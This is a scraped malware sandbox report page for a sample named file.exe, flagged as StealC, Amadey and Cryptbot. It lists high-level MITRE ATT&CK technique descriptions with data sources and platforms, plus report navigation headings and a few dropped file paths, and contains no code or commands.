Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCFBKKKFHCFHJKFIIEHDBGCBK

C:\ProgramData\CAAKKFHCFIECAAAKEGCFIEHDAK

C:\ProgramData\CBKFBAEC

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre